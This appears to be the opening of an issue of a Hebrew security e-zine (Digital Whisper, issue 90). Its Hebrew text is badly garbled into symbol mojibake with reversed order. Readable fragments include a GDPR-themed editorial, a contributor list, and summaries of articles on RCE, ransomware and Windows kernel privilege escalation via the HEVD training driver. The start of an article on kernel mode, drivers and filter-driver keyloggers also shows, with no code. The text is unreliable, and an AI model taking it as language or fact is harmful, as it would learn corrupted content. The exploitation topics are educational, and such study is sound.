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˪ ˫˧˞˟ˢ ˫˧˩ˣ˶˟ ˸ˮ˷ ˸˞ ˥˸ˣ˲ˢ ˭ˣ˧˪ˠ2018 ˶˲˯ˬ ˭ˣ˧˪ˠ ,90! 

 ˸ˮ˷2017  ˸ˮ˷ˣ ,ˢ˪ ˢ˲˪˥2018 .˥˸˲˟ ˸ˡˬˣ˰  ˣˮ˧˪˰ ˞˧˟˸˷ ˢ˧˸ˣ˷˪ˣ˥ ˸˞ˣ ˢ˸ˣ˞ ˪˟˵ˮ˷ ˧ˮ˲˪ ˰ˠ˶ ˨˞

,˸ˣ˥ˣ˸˲ ˸ˣ˰ˣ˶ˤ˟ ˢ˟ˣ˦˪  ˱˶˲˶˪ˣ ,˰ˠ˶ ˶ˣ˴˰˪ ˧˸˟˷˥˟ .ˢˮ˷ˢ ˣˮ˸ˣ˞ ˣˡ˵˲˷ ˠˮ˧˵˞ˢˢ ˧˰ˣ˶˧˞ ˢ˷ˣ˰ ˧ˡˣ˰˟

 ˶ˣ˲˯ˮ˧˞ ˪˷ ˢ˲˧˪ˡ ˱ˣ˯˟ ˣ˪˪˩ ˫˧˶ˣ˵˶ˤˢ ˶ˣ˞ ˸˞ ˫ˢ˧˪˞ ˣ˟˯ˢ˷ ˫˧˰ˣ˶˧˞ˢˬ ˢ˟˶ˢ˷ ˧˸ˮ˥˟ˢ ,˸˞ˤ

˶ ˨˞ ,˦ˮ˶˦ˮ˧˞˪ ˱ˣ˷˥ ˣˬ˴˰ ˸˞ ˞˴ˬ ˧˵˯˰ ˰ˡ˧ˬ ˞˪ˣ ˠˣˣ˯ˬ ˰ˡ˧ˬ ˦˰ˬ ˞˪ .˫˧˧˦˶˲ ˫˧˥˶ˤ˞ ˪˰ ˸ˣˬˣ˷

˶˷ ˢ˞˶ˮˣ ˫˧˶˵ˬˢ ˫˸ˣ˞˟ ˰ˠ˲ˮ˷ ˧ˬ ˟-  ˫˧ˮ˷ˢˬ ˧ˡˬ ˶˸ˣ˧ ˣˮˡˬ˪ ˞˪˷ ˢ˞˶ˮˣ ,˧˦˶˲ˢ ˥˶ˤ˞ˢ ˢ˧ˢ

.ˣ˶˟˰˷ 

 ˸ˮ˷˟ ?ˢˬ ˤ˞2018  ?˱˧˶˥˧ ˵˶ ˞˷ˣˮˢ˶ˮ˞˷ ˢ ˰˴ˬ˞˟ ˸ˮ˷2018 ˶ˣˬ˞ˢ˲˵ˣ˸˪ ˯ˮ˩ˢ˪ ˢ s-GPDR 

 ˪˷ ˶ˣ˴˧˵)General Data Protection Regulation(: ˶˲ˣ˯ ˭˧˰ˬ-ˢ˧˴˪ˣˠ˶  ˶˷˞˸˯˥˧˧˸ˬ ˪ ˶˵˧˰˟-"˱ˣ˯˧˞, 

ˢ˶˧ˬ˷ ˢ˶˟˰ˢˣ ˪˷ ˫˧ˮˣ˸ˮ ˫˧˧˷˧˞ ˪˷ ˫˧˷ˮ˞ ˫˧˧˦˶˲ ˸ˣˮˡ˲˵˟ ˢ˟˶ ,˸˰˟ˣ˵ˣ ˫˧˪˪˩ ˫˧ˡ˧˥˞ ˢ˶˧ˬ˷˪ ˪˰ 

˸ˣ˧˦˶˲ˢ ,".ˡˣˢ˪ ˟˧˧˥ ˧ˮ˞ˣˬ ˪˵ ˨˞ ,˦˲˷ˬˢ ˣ˞ ˢ˵ˣ˥ˢ ˫ˣ˥˸˟ ˪ˣˡˠ ˭˧˟ˬ ˞˪ ˧ˮ˞˷ ˸ˣ˪ˣ ,˸ˣ˞˶˪ ˡˣ˞  ˵˶

 ˧ˡ˧ ˪˰ˢˤ˧˶ˤ ˢ˞˧˶˵ ˫˧˦˶˲ˢ ˪˷˷ ,˫ˣ˧ˢ ˷˧˷ ˟˴ˬˢˬ ˯˞ˬˮ ˢ˪˰ˬ˪ ˫˷ ˣˢ˷˧ˬ˪ ˫ˣ˥˸˟ , ˧˩ ˶˩˧ˮˣ

ˢ˧˴˪ˣˠ˶ˢ  ˢ˞˶ˮ˩ ˡ˧˸˰˟ ˣˮ˪ˣ˩ ˪˰ ˰˧˲˷˸˵ˣ˥˶ ˨˩ ˪˩ ˞˪ˢ  ˫˞) ˞˧ˢ(˰˧˲˷ˢ˪ ˢ˪˥ˢ ˶˟˩ ˞˪. 

ˢˤˢ ˨˪ˢˬˢ ˮˢ˞˶  ,˟ˣ˦ ˨˞˞ˣˢ ˢ ˭ˣ˟˷˥˟ ˢ˥˵˪ ˞˪ ˢ˵˧˵˥ˢ˷ ˢ˞˶ˮ ,˫˪˷ˣˬ ˸ˣ˧ˢ˪ˬ ˵ˣ˥˶˟˶˩˟ˡˮ ˢ ˫˧

 ˸ˣ˞˧˴ˬˢˬ˫ˣ˧˩ ˞˧ˢ˷ ˧˲˩ ˪ ˡˣ˞ˬ ˢ˷˵ ˢ˧ˢ˧ ˢ˞˶ˮˢ ˪˩˩ˣ,ˢ˞˪ˬ ˢ˶ˣ˴˟ ˪ˣ˰˲˪ ˢ˪ ˫ˣ˶ˠ  ˡ˰˴ˢ ,˸˞ˤ ˫˰

˨˶ˣ˟ˬ ˦˪˥ˢ˟ ˪"ˮˢ. ˪˪ˠ˟ˣ ,˸˞ˤˢ ˢ˧˴˪ˣˠ˶ˢˬ ˣˠ˶˥˧˷ ˫˧˲ˣˠ˷ ˢ˞˶ˮ  ˫˸ˣˮ˪˷˶ ˫˧˧˦˶˲ ˫˧˷ˮ˞ ˪˰ ˰ˡ˧ˬ

 ˠˣ˪ˤ˧-  ˫ˢ˪ ˟˞ˣ˩ ˧˩ˢ ˢ˞˶ˮ˩˷ ˫ˣ˵ˬ˟ ˣ˰ˠ˲˧- .˱˯˩ ˷) ˸ˣ˟ˣ˷˥ˢ ˸ˣˡˣ˵ˮˢ ˸˥˞ ˞˧ˢ (˸ˣ˥˲˪ ˢ˞ˣ˶ ˧ˮ˞

ˬ ˣ˩˲ˢ˧ ˫˧˶˶ˣ˯ˢ ˫˧ˮˣˠ˶˞ˢ˷-˪ "ˢ˲˧˵˸ ˸ˣˮ˟˶ˣ˵"-."˸ˣˮ˪˷˶˟ ˫˧ˬ˷˞" 

-sGDPR  ˸ˬ˞˟˫˧˶˟ˡˢ ˧ˮ˲ ˸˞ ˢˮ˷˸˶˦˯˪˲ ˡˣ˰˟ ˶˟ˣˡˬ ?? ...ˡ˧ˠ˧ ˭ˬˤˢ ˵˶ 

ˣ ˸ˮ˷ ˸˞ ˫˧˧˯˪ ˶˷˲˞ ˨˧˞2017  ˣˮ˞˷ ˢ˵˧˦˯˧˦˦˯ ˸˴˵ ˧˪˟ˬ ˫˧˥˧˦˟ˬ ˫˩˪ ˟˧˩˶˸˷ ˸˧˰˟˦ ˢ˶ˣ˴˟

 ˢ˰˧˸˲ˬˣˣ˰˟ ˪ˣˠ˰ˢ ˶˲˯ˬˢ ˸˞˫˪. 

˶ˠ˯ˬ˟ ˣˮˬ˯˶˲ ,ˢˮ˷ˢ ˨˪ˢˬ˟ ˸˭˧ˤˠˬˢ 59MB ˫˟ˣ˥˟ ˣ˞˷ˮ˷ 893 ˫˧ˡˣˬ˰ ˞˷ ˶ ˣ˧ˡ˥˧ ˣ˟˧˩˶ˢ53 

 ˧"˰ ,˸ˣ˰˷ ˶ˣ˲˯ˮ˧˞ ˨˷ˬ˟ ˣ˟˸˩ˮ ˫˧˶ˬ˞ˬ ˫˸ˣ˞ .˫˧˶ˬ˞ˬ58  ˣ˦˧˪˥ˢ˷ ˫˧˶˟˥˫ˮˬˤˬ ˫ˣ˶˸˪  ˫˸ˬ˩ˣ˥ˬˣ

ˢ˪˧ˢ˵˪ . :˫˩ˣ˸ˬ42  ˭˧ˤˠˬˢ ˧˟˸ˣ˩ ˸˥˲˷ˬ˪ ˫˧˷ˡ˥ ˫˧˲˶˦˴ˬ ˫ˢ ˫˧˟˸ˣ˩J ˢ˩ ˡ˰ ˸˪˪ˣ˩˷ ˢ˥˲˷ˬ ,- 

196 ...˫˧ˮ˷ ˦˰ˬ ˞˪ ˶˟˩ ˫˧˞˶ˣ˵ ˫˸˞˷ ˭˩ˣ˸ˢ ˸˞ ˫˯˶˲ˬˣ ˨˧˷ˬˬ ˦˵˧˧ˣ˶˲ˢ ˫˸ˣ˩ˤ˟ ˶˷˞ ,˫˧˶˟˥ 

 ˡˣ˰ ˢˤˢ ˭ˣ˧˪ˠ˟ ˷˧ ,˱˯ˣˮ˟36 .˨ˣ˟ˬ˟ ˞˴ˬ˸ˢ˪ ˫˩˪ ˣ˶ˤ˰˧˷ ˫˧ˣˣ˸ 
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 ˢ˴˶ˮ ,ˢ˷ˡ˥ˢ ˢˮ˷ˢ ˸˯˧ˮ˩ ˫˰ˣˮ˸ˣ˞ ˢˣˣ˧˪˷ ˧ˬ ˪˩˪ ˢˡˣ˸ ˡ˧ˠˢ˪ ˸˲˪ˣ˥ˢ ˢˮ˷˟ , ,˶ˤ˰ˣ ˡ˧ ˭˸ˮ˷ ˧ˬ ˪˩˪

˧˶ˢ˪ ˦˧˪˥ˢ˷ ˧ˬ ˪˩˪ˣ˲ ˸ˣ˧ˢ˪ ˵˧˯˲ˢ˪ˣ ˢ˲˲˩ˢ ˸˞ ˫ ˧˟˧˯-  ˸˟ˣ˦˪ ˣ˪˷ ˰ˡ˧ˢˬˣ ˣˬ˴˰ˬ ˸˸˪ ˦˧˪˥ˢ

˪ ˢ˟˶ ˢˡˣ˸ .ˢ˪˧ˢ˵ˢ ˧˶˟˥ ˶˞˷˫˸ˣ˶ ˵ˣˡ˴ ,˪˞˶˷˧ )Sro( ˤ˶ˣ˥'˧˵˯˟ ,˪˟ˣ˧ ˧ˮ˧˯ ,˭ˣˮ˧ ˧ˡ˵˷ ,˭˶ ˭˧˟ˣˡ ,
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˭˸ˮˣˢ˧ ˠˮ˧˪˵ ˶,˧˷ l ,.˭˥ ˨˧˪˶˞ ,˭ˡ ˡ˪˲ )MADM2B( ,˶ˣ˞˧˪ ˸˷˵ ,˭ˡ˰ ˶ˠ˶˟ ,˭˸ˮˣ˧ ˶ˮ˧˧˶˵ ,.˷˞ .

)Supermann(, ɣ.˟. ,˶˧ˮ ˧˵˯˟˶ ,˶ˣ˞ ˴'˴'˵˧ ,˧˰ˣ˶ ˭ˬ˶˷ ,˱˯˞ ˭ˬ˴˧ˣ ,˪˞˧ˮˡ ˧ˣ˪ ,D4d ,˶ˬˣ˸ ˸˧ˤ ,˶˥˷ 

˦ˣ˶ˣ˵ )Hutch( ,˱˧˯˩ ˪˵ˡ ,˪˦ ˫ˣ˪˟ ,˪˞˧˶˞ ˭˶ˣ˵ ,˶ˢˤ ˵˶˟ ,˶ˬˣ˰ ˧˲˯˩ ,˪˧˧˞ ˭˧˵˦˧˞ ,˪ˠ ˦˧˟˧˵˯ˮ ,
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˭ˣ˦˰ ,˫˰˧˪ ˭˧˧˦˷ ,˪˟ˣ˧ ˢ˧˦˰ ,ˡ˵˷ ˶ˮ˧˧˶ ,Bl4d3 ,ˣˡ˧˰ ˶ˣˡ˪˞ ,˪˟ˣ˧ )tsif (˟˧˸ˮ ,˶ˡ '˧ˡˠ 

˳˧˟ˣ˶ˡˮ˯˩˪˞' ,˶ˬˣ˸ ˡˡ˥ ,Blondy314 ,Spl0it x˶˧ˬ˵ ˟˞ˣ˧. 

˧ˮ˷ ˸ˣˡˣˢ˪ ˢ˴˶ˮ ,˦˶˲˟ˣ ˧ˬ ˪˩˪ ,˸˷ˡˣ˥ˢ˷  :˶ˬ˞ˬ ˢ/˟˸˩ˣ ˣˮ˪ ˫ˣ˶˸˪ ˧ˡ˩ ˢ/ˡ˵˷ˣ ˢ˟˶ ˢˡˣ˸˪ ˪˟ˣ˧

ˢ˧˦˰˪ ˢ˟˶ ˢˡˣ˸ ,-Blondy314˪ ˢ˟˶ ˢˡˣ˸ ,-Spl0it , ˢ˟˶ ˢˡˣ˸˪˶˧ˬ˵ ˟˞ˣ˧ ˪ ˢ˟˶ ˢˡˣ˸ˣ˸˧ˤ ˶ˬˣ˸! 
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) ˸ˣ˷˪ˣ˥ ˪˰ ˫˧˶˟ˡˬ˷˩ ˟ˣ˶˪Vulnerabilities) ˢ˧˴˦˧ˣ˪˲˯˵˞ ˪˰ˣ (Exploitation ˞˷ˣˮˢˣ ˷ˣˡ˵ˢ ˰˧˟ˠˢ ,(

˪ˣ˥ ˞ˣˢ ˢ˲˧˷˥ ˢ˟˶ˢ ˧˩ˢ˪ ˢ˩ˣˤ˷˸ˣ˷ RCE - Remote Code Execution  .(˵˥ˣ˶ˬ ˡˣ˵ ˸˴˶ˢ :˸˧˶˟˰˟)

 ˸˴˶ˢ ˸ˣ˶˷˲˞ˬ˷ ˸ˣ˷˪ˣ˥ ˸˥˲˷ˬ˟ ˶˟ˣˡˬ ˭˩˷ ,ˢ˪˷ ˢ˲˧˷˥˪ ˢ˧ˣ˞˶ ˦˪˥ˢ˟ ˣ˪˪ˢ ˸ˣ˷˪ˣ˥ˢ ˸˥˲˷ˬ

 ˧˸˵˯˰˷ ˸ˣ˷˪ˣ˥ˢˬ ˡ˟˩ˮ ˵˪˥ .ˣ˧˪˞ ˸˧ˤ˧˲ ˢ˷˧ˠ ˣ˪ ˭˧˞˷ ˵˥ˣ˶ˬ ˟˷˥ˬ˟ ,˱˵ˣ˸ˢ ˸˶˧˥˟˪ ,˧˸ˣ˶˧˶˷ ˡˣ˵

˧˪˷ ˫ˡˣ˵ˢ ˶ˬ˞ˬ˟ ˭ˢ˟  ˭˧ˤˠˬ˟- Pwning ELFs for Fun and Profit -  ˸ˣ˷˪ˣ˥ ˭ˢRCE. 

) ˢ˶˲ˣ˩ ˸˶ˤ˰˟ ˧ˢ˷˪˩ ˢ˶˟˥ˬ ˱˯˩ ˥˧ˣˣ˶ˢ˪ ˢ˯ˮˬ ˱˵ˣ˸ˢ :˞˟ˢ ˷˧˥˶˸˟ ˭ˣˡˮRansomware ˢ˶˟˥˪ .(

 .˸ˣ˪˟ˠˣˬ ˸ˣ˞˷˶ˢ˟ ˳˶ ˸ˣ˶˧˷ˢ .˫˧˟˶ ˫˧˧ˬ˧˦˧ˠ˪ ˫˧˷ˣˬ˧˷ ˣ˪ ˷˧ˣ ˫˧ˣ˯ˬ ˦˶ˣ˲˟ ˭˧ˤ˞ˬ˷ ˣˢ˷˪˩ ˸ˣ˶˧˷ ˷˧

˸ˮ˧ˢ˟ˣ ,˰˧ˠ˲ ˸ˣ˶˧˷ˢ˷ ˢ˪ˠˬ ˱˵ˣ˸ˢ ˭payload  ˸˷˪ˣ˥) ˣ˪˷ˬ ˡˣ˵ ˳˧˶ˢ˪ ˪ˣ˩˧ ˞ˣˢ ˫˧ˣ˯ˬRCE  .(˸˧˯˞˪˵

 ˱˯˩˪ ˭˧˸ˬˢ˪ˣ ˣ˪˷ ˢ˶˲ˣ˩ˢ ˸˞ ˳˧˶ˢ˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ,ˢ˶ˣ˞˩˪-  ˸ˣ˞˷˶ˢ˟ ˳˶ ˸ˣ˶˧˷ˢ˷ ˭ˣˣ˧˩ˬ ˨˞

 ˪˪˩˟ ˞˧ˢ˷ ˣ˞ ,˵˧˲˯ˬ ˱˧˵ˬ ˢ˧ˢ˧ ˞˪ ˢ˶˲ˣ˩ˢ ˪˷ ˵ˤˮˢˣ ˰˴˟˪ ˪˩ˣ˧ ˞˪˷ ˸ˣ˟˶ ˸ˣ˪ˣ˰˲ ˷˧ ,˸ˣ˪˟ˠˣˬ

˰ ˸˩ˬ˸˯ˬ ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ˪˷˩˧˸ ˫˞ ˱˵ˣ˸˪ ˡˣ˞ˬ ˡˬ˥ˮ ˢ˧ˢ˧ .˭˸ˣ˞ ˰˴˟˪ ˸ˣ˞˷˶ˢ ˭˧˞ ˨˧˪ˢ˸˪˷ ˸ˣ˪ˣ˰˲ ˪

..˳˶ ˣ˪˷ ˡˣ˵ˢ ˭ˢ˟˷ ˸ˣ˞˷˶ˢ˪ ˢ˧˴˪˵˯˞ ˰˴˟˪ ˪ˣ˩˧ ˢ˧ˢ ˞ˣˢ 

 ˸ˣ˷˪ˣ˥ ˪˷ ˸˶˥˞ ˢ˥˲˷ˬ ˢˮˣˬ˸˪ ˸˯ˮ˩ˮ ˭˞˩-  ˸ˣ˷˪ˣ˥EoP - Elevation of Privileges  ˣ˞)Privilege 

Escalation  ˸˧˶˟˰˟ˣ- ˭ˢ ˣ˪˞ ˸ˣ˷˪ˣ˥ .(˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ  ˸ˣ˷˪ˣ˥ ˶˷˞ ˸ˣ˞˷˶ˢ˟ ˡˣ˵ ˳˧˶ˢ˪ ˸ˣ˶˷˲˞ˬ

 ˶ˣˬ˞˷ˬ ˶˸ˣ˧ ˸ˣˢˣ˟ˠ ˢ˧ˢ˩ ˳ˣ˶˧ ˪˧ˠ˶ ˷ˬ˸˷ˬ˩ ˳˶˷ ˡˣ˵ ˫˞ ˢˬˠˣˡ˪ ,ˣ˪ ˶˷˲˞˸ˢ˪-SYSTEM  ˧˪˟)

˸ˣ˞˷˶ˢ ˣ˪ ˵˲˯˧ ˷ˬ˸˷ˬˢ˷ ˣ˪˞ ˪˰ ˶˟ˡˮ ,ˡ˧ˬ˸ ˦˰ˬ˩ .(EoP ˧ˬˣ˵ˬ -  ,˶ˬˣ˪˩EoP  ˨ˣ˸ˬ ˰˴˟˸ˬ˷

.ˢˮˣ˩ˬˢ ˪˰ ˡˣ˵ ˸˴˶ˢ ˸˪ˣ˩˧ ˣˮ˪ ˷˧ ˶˟˩˷ ˢ˥ˮˢ 

˧˩ˢ ˡ˰˧ˢ  ˸ˣ˷˪ˣ˥ ˷ˣ˲˧˥˪ "˧˟˧˦˵˶˦˞"EoP ˟ ˳˶˷ ˡˣ˵ ˞ˣˢ-Kernel-Mode ,˭ˣˠ˩ ˫˧˶˟˧˧˶ˡ  ˣ˞ ˪ˮ˶˵ˢ

 ˸ˣ˞˷˶ˢ˟ ˳˶ ˢˤ˩ ˡˣ˵˷ ˭ˣˣ˧˩ˬ ˸˞ˤˣ ,ˣˬ˴˰ˢ˸ˣˢˣ˟ˠ ˶˸ˣ˧˟ ˡ˵ˬ˸ˮ ,ˢˤ ˶ˬ˞ˬ˟ .-˟Windows ˸˧˲˧˴˲˯) 

-˟Windows 7 SP1 32bit ˸˶ˤ˰˟ ,ˢ˞˶ˮˣ (HEVD ˫˧˩˶ˡ ˶˲˯ˬ ,(˨˷ˬˢ˟ ˣ˟ ˭ˣˡˮ˷ ˡ˥ˣ˧ˬ˟ ˰˧ˠ˲ ˶˟˧˧˶ˡ) 

 ˸ˣ˞˷˶ˢ˪ ˢ˧˴˪˵˯˞ ˰˴˟˪SYSTEM ˫˧ˮˣˮˠˮˬ ˧˵ˬˣ˰˪ ˪ˣ˪˴ˮ .˶˟˧˧˶ˡ˟ ˸ˣ˷˪ˣ˥ ˪˷ ˟˥˶ ˭ˣˣˠˬ ˪ˣ˴˧ˮ ˨ˣ˸ ,-˟

Windows  ˣˬ˩SEH,Memory Pools ˟ ˷ˬ˸˷ˢ˪ ˡ˴˧˩ ˡˬ˪ˮˣ ,˸ˣˡ˰ˣ˸ˬ ˞˪ ˸ˣ˧˴˵ˮˣ˲ ˪˪˷ˣ-WinDbg 

.˧˪ˮ˶˵ ˠˣ˟˧ˡ ˨˶ˣ˴˪ 

˩ˮ˷ ˟ˣ˷˥˷ ˫˧ˮˣ˷ ˫˧˞˷ˣˮ ˪˷ ˢ˶˴˵ ˢ˶˧˵˯˟ ˪˧˥˸ˮ ,˶˵˧˰˪ ˪ˣ˪˴ˮ˷ ˧ˮ˲˪ ˫˰ ˵˯˰˸ˢ˪ ˪˩ˣˮ˷ ˧ˮ˲˪ ˶˧

.˶˟˧˧˶ˡˢ 
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˰˵˶ 

User Mode & Kernel Mode 

 ˥ˮˣˬˢ ,˟˷˥ˬˢ ˧˰ˡˬ˟"Protection Rings"  ˸ˣˮˣ˷ ˸ˣˬ˶ ˸ˣˬ˧˧˵ ˣ˟˷ ˢ˥˦˟˞ ˪ˡˣˬ ˶˞˸˪ ˪˧˟˷˟ ˷ˬ˷ˬ

 ˪˰ ˫˧˶˟ˡˬ ,˟ˣ˶˪ .˸ˣ˪ˣ˰˲ ˭˸ˣ˞ ˸˞ ˰˴˟˪ ˪ˠˣ˯ˬ ˢ˧ˢ˧ ˢˮˣ˩ˬ˟ ˳˶˷ ˡˣ˵ˢ ˪˩ ˞˪˷ ˨˩ ,˸ˣ˞˷˶ˢ ˪˷

ˢ˰˟˶˞ Protection Rings, ˟ ˵˶ ˫˧˷ˬ˸˷ˬ ˡ˧ˬ˸ ˦˰ˬ˩ ˪˰ˣ˲˟ ˨˞-2  :˸ˣ˰˟˦ring-0 x-ring-3. 

) ˡ˟˰ˬˢCPU˸ˢ˷ ˸ˣ˪ˣ˰˲ˢ ˪˩ ˰ˣ˴˧˟ ˪˰ ˧˞˶˥˞ ˶˷˞ ˧˸˶ˬ˥ˢ ˟˧˩˶ˢ ˞ˣˢ (ˣ ˭˸˧ˮˣ ,˰˴˟˪ ˸˷˵˟ˬ ˢˮ˩

 ˫˧ˮˣ˷ ˫˧˟˴ˬ ˧ˮ˷ ˡ˟˰ˬ˪ ,˸ˣ˧ˮ˶ˡˣˬˢ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˟ˣ˶˟ .˟˷˥ˬˢ ˪˷ "˥ˣˬ"ˢ ˪˰˩ ˣ˧˪˰ ˟ˣ˷˥˪- 

Kernel-Mode )ring 0ˣ (-User-Mode )ring 3( 

˟ ˳˶˷ ˡˣ˵˪-Kernel-Mode  ˢ˧ˢ˧ ˢˤˢ ˟˴ˬ˟ ˳˶˷ ˡˣ˵ˣ ,˭ˣ˶˩˧ˤ ˸˟ˣ˸˩ ˪˩˪ˣ ˢ˶ˬˣ˥˪ ˸˦˪˥ˣˬ ˢ˷˧ˠ ˷˧

˟ ˳˶˷ ˡˣ˵ ˶˷˞˩ .ˣˢ˷˪˩ ˧˸˶ˬˣ˥ ˟˧˩˶ ˪ˣˬ ˡ˟ˣ˰˷ ˡˣ˵ ˣ˞ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˡˣ˵ ˟ˣ˶˪-Kernel-Mode 

˞˧ˠ˷ .ˢˮˬˬ ˷˷ˣ˞˸ˢ˪ ˢ˪ˣ˩˧ ˞˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˷ ˢ˞˧ˠ˷ ˢ˧ˢ˸ ˢ˞˴ˣ˸ˢ ,˯˶ˣ˵ ˨˯ˬ˪ ˸ˣˬ˶ˣˠ ˣ˪˞˩ ˸ˣ

) ˪ˣ˥˩ˢBSoD x˞Blue Screen of Death ˫˯˶ˣ˲ˬˢ (-˟Windows: 

 

-˟User-Mode ˰˴˟˪ ˸ˮˬ ˪˰ .˸ˣ˧ˤ˧˲ ˭ˣ˶˩˧ˤ ˸ˣ˟ˣ˸˩˪ ˣ˞ ˢ˶ˬˣ˥˪ ˢ˶˧˷˧ ˢ˷˧ˠ ˭˧˞ ˡˣ˵˪ ,˸˞ˤ ˸ˬˣ˰˪ ,

˟ ˸˞ˤ˩ ˢ˷˧ˠ ˸ˣ˷˶ˣˡ˷ ˸ˣ˪ˣ˰˲-User-Mode ˟ ˷ˣˬ˧˷˟ ˨˶ˣ˴ ˷˧ ,(˳˟ˣ˵ ˶ˣ˴˧˪ ˸ˮˬ ˪˰ ,ˢˬˠˣˡ˪)-API 

˧ˬ˷) ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˞˴˧Win API ˟-Windowsˢ .(-API ˢ ˭˧˟ ˫˧˧ˮ˧˟ ˸˟˩˷ ˷ˬ˷ˬ ˪"ˮˢ-User-Mode 
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-˪Kernel-Mode˪ ˯ˮ˩˧ˢ˪ ˡ˟˰ˬˢ ˪˰ ,˸ˣ˷˶ˡˮˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰ ,˱ˣ˯˟˷ ˭˟ˣˬ˩ .-Kernel-

Mode ˸ˣ˰˴ˬ˞˟ ˢ˷˰ˮ ˶˟ˡˢ .Syscalls.˫˧˰ˣ˴˧˟ˢ ˪˰ ˢˡ˟˩ ˢ˰˲˷ˢ ˣ˪˪ˢ ˸ˣ˪ˣ˰˲˪ˣ , 

 ˸ˣ˯˧˶˵ˬUser-Mode ˟ ˳˶ ˡˣ˵ˢ ˟ˣ˶ .ˢ˯˧˶˵ˢˬ ˰˲˷ˣ˧ ˯˶˵˷ ˨˧˪ˢ˸ˢ ˵˶ˣ ,˷˷ˣ˞˸ˢ˪ ˭˸˧ˮ-User-

Mode . 

˟ ˫˧˴˶˷ ˫˧˟˧˩˶ ˭˧˟ ˸˶ˣ˷˵˸ˢ ˸˞ ˶˞˸ˬ ˞˟ˢ ˫˧˷˶˸ˢ-User-Mode ˟ ˫˧˴˶˷ ˫˧˟˧˩˶ ˭˧˟˪-Kernel-

Mode ˟-Windows: 

 

 ˞˷ˣˮ˟ ˣ˪˷ ˢˮ˟ˢˢ ˸˞ ˟˧˥˶ˢ˪ ˭˧˧ˮˣ˰ˬ˷ ˧ˬSyscalls ˬ ˶˟˰ˬˢ ˨˧˞ˣ-User-Mode ˪-Kernel-Mode 

 ˰˴˟˸ˬ-˟Windows ˰˴˟˪ ˢ˟˧ˮˠˬ ˨˶ˡ ˶˧˩ˢ˪ ˨˶ˡˢ ˪˰ˣ ,Hooking ˶ˬ˞ˬ˟ ˨˩ ˪˰ ˞ˣ˶˵˪ ˪ˣ˩˧ ˪ˮ˶˵˟ 

˫˷˟System Call Hooking ˢ ˭ˣ˧˪˧ˠ˟ ˣ˪˷ ˵˥˷ ˫˯˶˲˷-58 .˭˧ˤˠˬˢ ˪˷ 

Drivers 

ˢ˷ ˫˧˷˶˸˟˟˷ ˸ˣ˞˶˪ ˭˸˧ˮ ,ˢ˪˰ˬ˪ ˞˟ˣ-Kernel-Mode ) ˶˟˧˧˶ˡ :˫˧ˬ˰˲ ˢ˟˶ˢ ˶ˤˣ˥˷ ˥ˮˣˬ ˷˧Driver .(

 ˟˧˩˶ ˞ˣˢ ˶˟˧˧˶ˡ ,ˣ˯˧˯˟˟ .˶˟˧˧˶ˡ˪ ˸˥˞ ˸˵˧ˣˡˬ ˢ˶ˡˠˢ ˵˲˯˪ ˢ˷˵˧˸ˮ˩ˣ˸  ˫˧˟˧˩˶ ˷ˬ˷ˬ˷˧˸ˮ˩ˣ˸ ˫˧

 ˫˞ ˭˧˟) ˫˧˶˥˞-˟Kernel ˟ ˫˞ ˭˧˟ˣ-userlandˢˮˬˣ ,˟˷˥ˬ˪ ˶˟ˣ˥ˬ˷ ˣˢ˷˪˩ ˧˸˶ˬˣ˥ ˟˧˩˶ ˫˰ ˶˷˵˸˪ ( ˪

Device  ˧˴˟˵ ˫ˢ ˫˧˶˟˧˧˶ˡ .˶˸ˣ˧ ˣ˞ ˡ˥˞PE  ˞˧ˢ ˫˧˶˟˧˧˶ˡ˪ ˸˩˧ˣ˷ˬˢ ˸ˬˣ˧˯ˢˣ ,˶˟ˡ ˪˩˪".sys" .

 ˶˟˧˧˶ˡ˟ ˸˷ˬˣˬˬ ,ˢˬˠˣˡ˪ ,˸ˣˡ˪˵ˬ ˫˰ ˸˶ˣ˷˵˸kbdclass.sys. 

  

https://www.digitalwhisper.co.il/files/Zines/0x3A/DW58-2-KiFastHooking.pdf
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 ˸˥˸ ˣ˟˷˧ ˫˧˶˟˧˧˶ˡ ,˩"ˡ˟%systemroot%\System32\drivers) ˸ˣ˶˧˷ ˸ˣ˰˴ˬ˞˟ ˣ˴ˣ˶˧ˣ ,service .˧ˡˣ˰˧˧ (

 ˸˞ ˳˧˶ˬ˷ ˸ˣ˶˧˷ˢkbdclass.sys  ˞ˣˢkbdclass: 

 

 ˧˸˶ˬˣ˥ ˟˧˩˶ ˫˰ ˶˷˵˸˪ ˨˧˶˴ ˶˟˧˧˶ˡ ˪˩ ˞˪˷ ˭˟ˣˬ˩-  ˟˧˩˶ ˫˰ ˶˷˵˸˧˷ ˡ˥˞ ˶˟˧˧˶ˡ ˵˶ ˢ˧ˢ˧˷ ˧ˮˣ˧ˠˢ

 ˶˟˧˧˶ˡ ˧ˡ˩˪ ˡ˰ ,"ˣ˧˪˰ˬ" ˫˧˲˯ˣˮ ˫˧˶˟˧˧˶ˡˣ ,˧˸˶ˬˣ˥Top-Level  ˞˴˧˧ˬ˷API  ˪˷ ˱˯ˣˮ ˠˣ˯ .˦ˣ˷˲

 ˞ˣˢ ˫˧˶˟˧˧˶ˡFilter-Drivers˪ ˫˧˶˟˥˸ˬ˷ ˫˧˶˟˧˧˶ˡ :-Devices  ˨˩ˣ ,˶˟˧˧˶ˡˢ ˭˧˟˪ ˷ˬ˸˷ˬˢ ˭˧˟ ˫˧˞˴ˬˮˣ

ˢ ˭ˬ ˶ˤ˥ˣˬˣ ,˪˞ ˶˟˰ˣˬˢ ˰ˡ˧ˬ˟ ˦ˣ˪˷˪ ˫˧˪ˣ˩˧-Device  ˫ˣ˷˶˪ ˭˸˧ˮ ,ˢˤˢ ˭ˣ˧˰˶ˢ ˯˧˯˟ ˪˰ .ˣˬ˴˰

Keylogger. 

˟ ˫˧˴˶˷ ˫˧˟˧˩˶ ˫ˢ ˫˧˶˟˧˧˶ˡ ,˧˸˶ˣ˯ˬ ˭˲ˣ˞˟-Kernel-Modeˬ ˪˥ˢ .-Windows 98 ˣ˟ ˧˶˵˧˰ˢ ˪ˡˣˬˢ ,

